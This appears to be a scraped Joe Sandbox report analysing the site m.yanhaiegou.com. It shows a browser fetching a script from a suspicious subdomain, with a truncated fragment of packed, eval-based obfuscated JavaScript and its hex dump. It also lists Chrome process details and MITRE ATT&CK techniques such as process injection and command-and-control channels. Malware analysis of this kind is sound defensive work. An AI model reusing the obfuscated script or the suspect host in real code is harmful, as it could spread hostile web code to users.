2025-01-12 00:07:50 UTC	355	OUT	GET /tj.js HTTP/1.1 Host: oudngmslhifnsf.gdmgcyy.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:07:50 UTC	252	IN	HTTP/1.1 200 OK Server: openresty/1.21.4.3 Date: Sun, 12 Jan 2025 00:07:50 GMT Content-Type: application/javascript Content-Length: 805 Last-Modified: Sun, 19 May 2024 07:52:07 GMT Connection: close ETag: "6649afa7-325" Accept-Ranges: bytes
2025-01-12 00:07:50 UTC	805	IN	Data Raw: 3b 65 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 70 2c 61 2c 63 2c 6b 2c 65 2c 72 29 7b 65 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 63 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 7d 3b 69 66 28 27 30 27 2e 72 65 70 6c 61 63 65 28 30 2c 65 29 3d 3d 30 29 7b 77 68 69 6c 65 28 63 2d 2d 29 72 5b 65 28 63 29 5d 3d 6b 5b 63 5d 3b 6b 3d 5b 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 5b 65 5d 7c 7c 65 7d 5d 3b 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 27 5b 31 2d 35 37 2d 39 61 2d 67 5d 27 7d 3b 63 3d 31 7d 3b 77 68 69 6c 65 28 63 2d 2d 29 69 66 28 6b 5b 63 5d 29 70 3d 70 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 27 5c 5c 62 27 2b 65 28 63 29 2b 27 5c 5c 62 27 2c 27 67 27 29 2c 6b 5b 63 5d 29 3b 72 65 74 Data Ascii: ;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]\|\|e}];e=function(){return'[1-57-9a-g]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);ret

Target ID:	0
Start time:	19:07:32
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	2
Start time:	19:07:35
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2220,i,11151567539130516511,17712183396881889397,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://m.yanhaiegou.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Windows Analysis Report
http://m.yanhaiegou.com/

Target ID:	3
Start time:	19:07:42
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://m.yanhaiegou.com/"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre